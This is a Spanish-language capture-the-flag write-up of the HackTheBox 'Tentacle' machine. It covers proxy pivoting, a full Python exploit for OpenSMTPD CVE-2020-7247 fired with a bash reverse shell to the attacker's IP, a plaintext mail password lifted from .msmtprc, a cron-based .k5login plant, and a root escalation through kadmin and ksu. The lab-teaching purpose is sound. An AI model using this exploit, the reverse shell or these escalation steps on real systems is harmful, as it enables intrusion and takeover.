Tentacle es una de las maquinas existentes actualmente en la plataforma de hacking HackTheBox y es de dificultad Difícil.
En este caso se trata de una máquina basada en el Sistema Operativo Linux.
Escaneo de puertos
Como de costumbre, agregamos la IP de la máquina Tentacle 10.10.10.224 a /etc/hosts como tentacle.htb y comenzamos con el escaneo de puertos nmap.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 |
# Nmap 7.70 scan initiated Mon Feb 15 13:35:10 2021 as: nmap -sC -sV -p- -oA enumeration/nmap 10.10.10.224 Nmap scan report for 10.10.10.224 Host is up (0.054s latency). Not shown: 65530 filtered ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.0 (protocol 2.0) | ssh-hostkey: | 3072 8d:dd:18:10:e5:7b:b0:da:a3:fa:14:37:a7:52:7a:9c (RSA) | 256 f6:a9:2e:57:f8:18:b6:f4:ee:03:41:27:1e:1f:93:99 (ECDSA) |_ 256 04:74:dd:68:79:f4:22:78:d8:ce:dd:8b:3e:8c:76:3b (ED25519) 53/tcp open domain ISC BIND 9.11.20 (RedHat Enterprise Linux 8) | dns-nsid: |_ bind.version: 9.11.20-RedHat-9.11.20-5.el8 88/tcp open kerberos-sec MIT Kerberos (server time: 2021-02-15 12:41:36Z) 3128/tcp open http-proxy Squid http proxy 4.11 |_http-server-header: squid/4.11 |_http-title: ERROR: The requested URL could not be retrieved 9090/tcp closed zeus-admin Service Info: Host: REALCORP.HTB; OS: Linux; CPE: cpe:/o:redhat:enterprise_linux:8 Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Mon Feb 15 13:38:19 2021 -- 1 IP address (1 host up) scanned in 189.66 seconds |
Encontramos varios puertos abiertos así que vamos a tratar de enumerar los mismos para ver que información podemos obtener.
Enumeracion
Probamos el acceso a través del navegador en el puerto 3128, se trata de squid, un software de proxy http y nos devuelve un error
Pero a pesar del error, conseguimos dos datos interesantes, un posible nombre de usuario j.nakazawa@realcorp.htb y un dominio srv01.realcorp.htb.
Debido a que no podemos obtener mucha más información en este punto vamos a realizar una enumeración de los DNS a ver que subdominios podemos encontrar
1 2 3 4 5 6 7 8 |
$ dnsenum --threads 32 --dnsserver 10.10.10.224 -f /root/github/SecLists/Discovery/DNS/subdomains-top1million-110000.txt realcorp.htb | tee enumeration/subdomains.txt ---- wpad.realcorp.htb. 259200 IN A 10.197.243.31 ns.realcorp.htb. 259200 IN A 10.197.243.77 ns.realcorp.htb. 259200 IN A 10.197.243.77 proxy.realcorp.htb. 259200 IN CNAME ns.realcorp.htb. ns.realcorp.htb. 259200 IN A 10.197.243.77 ---- |
Añadimos los mismos al fichero /etc/hosts y tratamos de acceder pero tenemos problemas.
Utilizaremos ahora proxychains para acceder a través del squid que vimos anteriormente a los nuevos subdominios descubiertos, si no lo tenemos instalado podemos hacerlo con el siguiente comando
1 |
sudo apt-get install proxychains4 |
Configuraremos el mismo en el modo dinámico y añadiremos los siguientes proxys al fichero /etc/proxychains.conf, o como en nuestro caso, hacemos una copia para separar el fichero que utilizamos normalmente con el utilizado para esta máquina
1 2 3 |
http 10.10.10.224 3128 http 127.0.0.1 3128 http 10.197.243.77 3128 |
Accedemos al site de wpad.realcorp.htb abriendo una ventana en el navegador de la siguiente forma
1 |
$ proxychains -f /etc/proxychains.conf firefox wpad.realcorp.htb |
Aunque esta nos devuelve un error 403, probaremos entonces a obtener el fichero wpad.dat (que suele ser el nombre por defecto) y descargar el mismo
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
$ proxychains -f proxychains.conf wget http://wpad.realcorp.htb/wpad.dat [proxychains] config file found: proxychains.conf [proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4 [proxychains] DLL init: proxychains-ng 4.14 --2021-02-15 14:05:05-- http://wpad.realcorp.htb/wpad.dat Resolving wpad.realcorp.htb (wpad.realcorp.htb)... 10.197.243.31 Connecting to wpad.realcorp.htb (wpad.realcorp.htb)|10.197.243.31|:80... [proxychains] Strict chain ... 10.10.10.224:3128 ... 127.0.0.1:3128 ... 10.197.243.77:3128 ... 10.197.243.31:80 ... OK connected. HTTP request sent, awaiting response... 200 OK Length: 342 [application/octet-stream] Saving to: ‘wpad.dat’ wpad.dat 100%[========================================>] 342 --.-KB/s in 0s 2021-02-15 14:05:05 (17.8 MB/s) - ‘wpad.dat’ saved [342/342] |
Cuyo contenido es el siguiente
1 2 3 4 5 6 7 8 9 10 |
function FindProxyForURL(url, host) { if (dnsDomainIs(host, "realcorp.htb")) return "DIRECT"; if (isInNet(dnsResolve(host), "10.197.243.0", "255.255.255.0")) return "DIRECT"; if (isInNet(dnsResolve(host), "10.241.251.0", "255.255.255.0")) return "DIRECT"; return "PROXY proxy.realcorp.htb:3128"; } |
Observamos entonces que tenemos dos cidr /24 completas, la 10.197.243.0/24 y la 10.241.251.0/24 por lo que escanearemos las mismas con nmap.
Después de estar un rato analizando las posibilidades existentes, obtenemos una dirección válida con la ip 10.241.251.113 y cuyo escaneo nos muestra lo siguiente
1 2 3 4 5 6 7 8 9 10 |
# Nmap 7.70 scan initiated Mon Feb 15 16:33:49 2021 as: nmap -Pn -sT -sV -oA enumeration/nmap-10.241.251.113 10.241.251.113 Nmap scan report for 10.241.251.113 Host is up (0.20s latency). Not shown: 999 closed ports PORT STATE SERVICE VERSION 25/tcp open smtp OpenSMTPD Service Info: Host: smtp.realcorp.htb Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Mon Feb 15 16:37:17 2021 -- 1 IP address (1 host up) scanned in 207.90 seconds |
Vemos que dispone del puerto 25 abierto, utilizado por OpenSMTPD así que buscaremos en google alguna vulnerabilidad al respecto y encontramos el CVE-2020-7247 y un exploit de la misma.
Al exploit le hemos realizado una serie de modificaciones que son las siguientes:
- Sustituimos la opción de incluir parámetros en la ejecución del comando en lugar de solicitar los mismos por consola
- Editamos el mail del usuario root por el que descubrimos anteriormente en la página de error de squid
Quedaría entonces como vemos a continuación:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 |
import socket, time import sys if len(sys.argv) < 4: print("usage: opensmtpd.py <host> <port> <command>") exit() HOST = sys.argv[1] PORT = sys.argv[2] rev_shell = sys.argv[3] payload = b"""\r\n #0\r\n #1\r\n #2\r\n #3\r\n #4\r\n #5\r\n #6\r\n #7\r\n #8\r\n #9\r\n #a\r\n #b\r\n #c\r\n #d\r\n """ + rev_shell.encode() + b""" . """ for res in socket.getaddrinfo(HOST, PORT, socket.AF_UNSPEC, socket.SOCK_STREAM): af, socktype, proto, canonname, sa = res try: s = socket.socket(af, socktype, proto) except OSError as msg: s = None continue try: s.connect(sa) except OSError as msg: s.close() s = None continue break if s is None: print('could not open socket') sys.exit(1) with s: data = s.recv(1024) print('Received', repr(data)) time.sleep(1) print('sending helo') s.send(b"helo test.com\r\n") data = s.recv(1024) print('Received', repr(data)) s.send(b"MAIL FROM:<;for i in 0 1 2 3 4 5 6 7 8 9 a b c d;do read r;done;sh;exit 0;>\r\n") time.sleep(1) data = s.recv(1024) print('Received', repr(data)) s.send(b"RCPT TO:<j.nakazawa@realcorp.htb>\r\n") data = s.recv(1024) print('Received', repr(data)) s.send(b"DATA\r\n") data = s.recv(1024) print('Received', repr(data)) s.send(payload) data = s.recv(1024) print('Received', repr(data)) s.send(b"QUIT\r\n") data = s.recv(1024) print('Received', repr(data)) print("done") s.close() |
Ahora que tenemos modificado nuestro exploit procederemos a su ejecución
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
$ proxychains -f ../files/proxychains.conf python3 opensmtpd.py 10.241.251.113 25 'bash -c "exec bash -i &> /dev/tcp/10.10.14.4/4444 <&1"' [proxychains] config file found: ../files/proxychains.conf [proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4 [proxychains] DLL init: proxychains-ng 4.14 [proxychains] Dynamic chain ... 10.10.10.224:3128 ... 127.0.0.1:3128 ... 10.197.243.77:3128 ... 10.241.251.113:25 ... OK Received b'220 smtp.realcorp.htb ESMTP OpenSMTPD\r\n' sending helo Received b'250 smtp.realcorp.htb Hello test.com [10.241.251.1], pleased to meet you\r\n' Received b'250 2.0.0 Ok\r\n' Received b'250 2.1.5 Destination address valid: Recipient ok\r\n' Received b'354 Enter mail, end with "." on a line by itself\r\n' Received b'250 2.0.0 4e362e3e Message accepted for delivery\r\n' Received b'221 2.0.0 Bye\r\n' done |
Y veremos como hemos obtenido una shell en nuestra escucha en netcat
1 2 3 4 5 6 7 8 9 |
$ nc -lvnp 4444 listening on [any] 4444 ... connect to [10.10.14.4] from (UNKNOWN) [10.10.10.224] 59324 bash: cannot set terminal process group (13): Inappropriate ioctl for device bash: no job control in this shell root@smtp:~# id id uid=0(root) gid=0(root) groups=0(root) root@smtp:~# |
Somos root, aunque esta no es la máquina que queremos conseguir, por lo que enumeraremos la misma con el fin de obtener más información al respecto.
Revisamos la home de los usuarios y encontramos un fichero .msmtprc en la home del usuario j.nakazawa
1 2 3 4 5 6 7 8 9 10 11 |
root@smtp:/home/j.nakazawa# ls -la ls -la total 16 drwxr-xr-x. 1 j.nakazawa j.nakazawa 59 Dec 9 12:31 . drwxr-xr-x. 1 root root 24 Dec 8 10:56 .. lrwxrwxrwx. 1 root root 9 Dec 9 12:31 .bash_history -> /dev/null -rw-r--r--. 1 j.nakazawa j.nakazawa 220 Apr 18 2019 .bash_logout -rw-r--r--. 1 j.nakazawa j.nakazawa 3526 Apr 18 2019 .bashrc -rw-------. 1 j.nakazawa j.nakazawa 476 Dec 8 19:12 .msmtprc -rw-r--r--. 1 j.nakazawa j.nakazawa 807 Apr 18 2019 .profile lrwxrwxrwx. 1 root root 9 Dec 9 12:31 .viminfo -> /dev/null |
Cuyo contenido es el siguiente
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
root@smtp:/home/j.nakazawa# cat .msmtprc cat .msmtprc # Set default values for all following accounts. defaults auth on tls on tls_trust_file /etc/ssl/certs/ca-certificates.crt logfile /dev/null # RealCorp Mail account realcorp host 127.0.0.1 port 587 from j.nakazawa@realcorp.htb user j.nakazawa password sJB}RM>6Z~64_ tls_fingerprint C9:6A:B9:F6:0A:D4:9C:2B:B9:F6:44:1F:30:B8:5E:5A:D8:0D:A5:60 # Set a default account account default : realcorp |
Se trata de las credenciales para la conexión a través de kerberos, y como vimos anteriormente en el escaneo con nmap, el puerto utilizado por kerberos se encontraba abierto.
Probamos el acceso por ssh, pero sin éxito, así que vamos a tratar de crear un ticket de kerberos para posteriormente loguearnos con el mismo.
Instalamos el cliente en nuestro kali, si no lo tenemos ya instalado, con el siguiente comando:
1 |
apt-get install krb5-user |
A continuación sustituiremos cualquier línea en el fichero /etc/hosts que apunte a 10.10.10.224 por lo siguiente
1 |
10.10.10.224 srv01.realcorp.htb |
Y añadiremos la siguiente configuración al fichero /etc/krb5.conf
1 2 3 4 5 |
default_realm = REALCORP.HTB REALCORP.HTB = { kdc = 10.10.10.224 } |
Completada esta parte vamos a utilizar kinit para crear el ticket de nuestro usuario
1 2 |
$ kinit j.nakazawa Password for j.nakazawa: |
Y para verificar que se ha creado correctamente vamos a ver un listado de los tickets existentes en nuestro sistema
1 2 3 4 5 6 |
$ klist Ticket cache: FILE:/tmp/krb5cc_0 Default principal: j.nakazawa@REALCORP.HTB Valid starting Expires Service principal 02/15/2021 17:19:48 02/16/2021 17:19:47 krbtgt/REALCORP.HTB@REALCORP.HTB |
Por último, accederemos por ssh con nuestro ticket
1 2 3 4 5 6 7 |
$ ssh j.nakazawa@10.10.10.224 Activate the web console with: systemctl enable --now cockpit.socket Last login: Mon Feb 15 22:51:12 2021 from 10.10.14.4 [j.nakazawa@srv01 ~]$ id uid=1000(j.nakazawa) gid=1000(j.nakazawa) grupos=1000(j.nakazawa),23(squid),100(users) contexto=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 [j.nakazawa@srv01 ~]$ |
Llegados a este punto, si al acceder por ssh solicita una contraseña, revisa los pasos ya que te habrás dejado alguna configuración de aplicar.
Obteniendo la flag de user
Una vez estamos dentro de la máquina, nos dirigimos a la home del usuario y cogemos nuestra flag
1 2 3 4 5 6 7 |
[j.nakazawa@srv01 ~]$ [j.nakazawa@srv01 ~]$ ls -l total 4 -r--------. 1 j.nakazawa j.nakazawa 33 feb 15 15:15 user.txt [j.nakazawa@srv01 ~]$ cat user.txt axxxxxxxxxxxxxxxxxxxxxxxxxxxxxx5 [j.nakazawa@srv01 ~]$ |
Escalado de privilegios
Seguimos para root, aunque revisando los usuarios existentes, necesitaremos realizar un escalado más antes de llegar hasta él. Enumeramos el sistema y encontramos una tarea en el crontab del usuario admin
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
[j.nakazawa@srv01 /]$ cat /etc/crontab SHELL=/bin/bash PATH=/sbin:/bin:/usr/sbin:/usr/bin MAILTO=root # For details see man 4 crontabs # Example of job definition: # .---------------- minute (0 - 59) # | .------------- hour (0 - 23) # | | .---------- day of month (1 - 31) # | | | .------- month (1 - 12) OR jan,feb,mar,apr ... # | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat # | | | | | # * * * * * user-name command to be executed * * * * * admin /usr/local/bin/log_backup.sh [j.nakazawa@srv01 /]$ |
Este, ejecuta el fichero log_backup.sh cada minuto, así que vamos a revisar el contenido de este fichero
1 2 3 4 5 6 |
#!/bin/bash /usr/bin/rsync -avz --no-perms --no-owner --no-group /var/log/squid/ /home/admin/ cd /home/admin /usr/bin/tar czf squid_logs.tar.gz.`/usr/bin/date +%F-%H%M%S` access.log cache.log /usr/bin/rm -f access.log cache.log |
La tarea se encarga de comprimir los logs del squid y moverlos a la home del usuario admin y posteriormente, borrarlos. Conocido esto, vamos a tratar de crear un fichero .k5login con los datos del usuario conocido con la idea de que ese mismo fichero se mueva a la home del usuario admin, permitiendonos loguearnos con la cuenta del mismo.
Así que creamos nuestro fichero en una ruta con permisos de escritura
1 |
echo "j.nakazawa@REALCORP.HTB" > .k5login |
Y copiamos el fichero a la carpeta de logs del squid
1 |
cp .k5login /var/log/squid |
Tan sólo nos queda probar el acceso por ssh 2 o 3 veces hasta que se ejecute la tarea, moviendo nuestro fichero y consiguiendo acceder con el usuario admin
1 2 3 4 5 6 7 |
$ ssh admin@srv01.realcorp.htb Activate the web console with: systemctl enable --now cockpit.socket Last login: Mon Feb 15 23:00:02 2021 [admin@srv01 ~]$ id uid=1011(admin) gid=1011(admin) grupos=1011(admin),23(squid) contexto=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 [admin@srv01 ~]$ |
A continuación, y viendo que se trata de un usuario con permisos de administrador, vamos a tratar de obtener el listado de usuarios existentes en kerberos
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
[admin@srv01 ~]$ klist -k /etc/krb5.keytab Keytab name: FILE:/etc/krb5.keytab KVNO Principal ---- -------------------------------------------------------------------------- 2 host/srv01.realcorp.htb@REALCORP.HTB 2 host/srv01.realcorp.htb@REALCORP.HTB 2 host/srv01.realcorp.htb@REALCORP.HTB 2 host/srv01.realcorp.htb@REALCORP.HTB 2 host/srv01.realcorp.htb@REALCORP.HTB 2 kadmin/changepw@REALCORP.HTB 2 kadmin/changepw@REALCORP.HTB 2 kadmin/changepw@REALCORP.HTB 2 kadmin/changepw@REALCORP.HTB 2 kadmin/changepw@REALCORP.HTB 2 kadmin/admin@REALCORP.HTB 2 kadmin/admin@REALCORP.HTB 2 kadmin/admin@REALCORP.HTB 2 kadmin/admin@REALCORP.HTB 2 kadmin/admin@REALCORP.HTB [admin@srv01 ~]$ |
Y observamos que nuestro usuario admin es administrador del kerberos por lo que podemos tirar por esta parte.
Utilizaremos la tool de kadmin para poder ejecutar comandos como administrador y crear nuestro usuario root en la máquina. Dicho esto, accedemos a la administración
1 |
kadmin -k -t /etc/krb5.keytab -p kadmin/admin@REALCORP.HTB |
Y crearemos nuestro usuario root
1 |
add_principal root@REALCORP.HTB |
Veámoslo a continuación:
1 2 3 4 5 6 7 8 9 |
[admin@srv01 ~]$ kadmin -k -t /etc/krb5.keytab -p kadmin/admin@REALCORP.HTB Couldn't open log file /var/log/kadmind.log: Permission denied Authenticating as principal kadmin/admin@REALCORP.HTB with keytab /etc/krb5.keytab. kadmin: add_principal root@REALCORP.HTB No policy specified for root@REALCORP.HTB; defaulting to no policy Enter password for principal "root@REALCORP.HTB": Re-enter password for principal "root@REALCORP.HTB": Principal "root@REALCORP.HTB" created. kadmin: |
Una vez completada la creación del usuario, utilizamos ksu para loguearnos con el mismo
1 2 3 4 5 6 7 8 9 10 11 12 |
[admin@srv01 ~]$ ksu root WARNING: Your password may be exposed if you enter it here and are logged in remotely using an unsecure (non-encrypted) channel. Kerberos password for root@REALCORP.HTB: : Authenticated root@REALCORP.HTB Account root: authorization for root@REALCORP.HTB successful [Last failed login: Mon Feb 15 23:10:53 GMT 2021 on pts/1] [There was 1 failed login attempt since the last successful login.] Changing uid to root (0) [root@srv01 admin]# id uid=0(root) gid=0(root) grupos=0(root) contexto=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 [root@srv01 admin]# |
Y ya somos root.
Obteniendo la flag de root
Ahora que ya estamos como root, procedemos a la home del usuario para conseguir nuestra flag
1 2 3 4 5 6 7 8 |
[root@srv01 admin]# cd /root [root@srv01 ~]# ls -l total 8 -rw-------. 1 root root 1344 dic 6 12:21 anaconda-ks.cfg -r--------. 1 root root 33 feb 15 15:15 root.txt [root@srv01 ~]# cat root.txt fxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx0 [root@srv01 ~]# |
Y ya tenemos nuestra flag de root para completar esta máquina y conseguir nuestros puntos.
Si eres usuario de HackTheBox y te gustó mi writeup, por favor, dame respeto en el siguiente enlace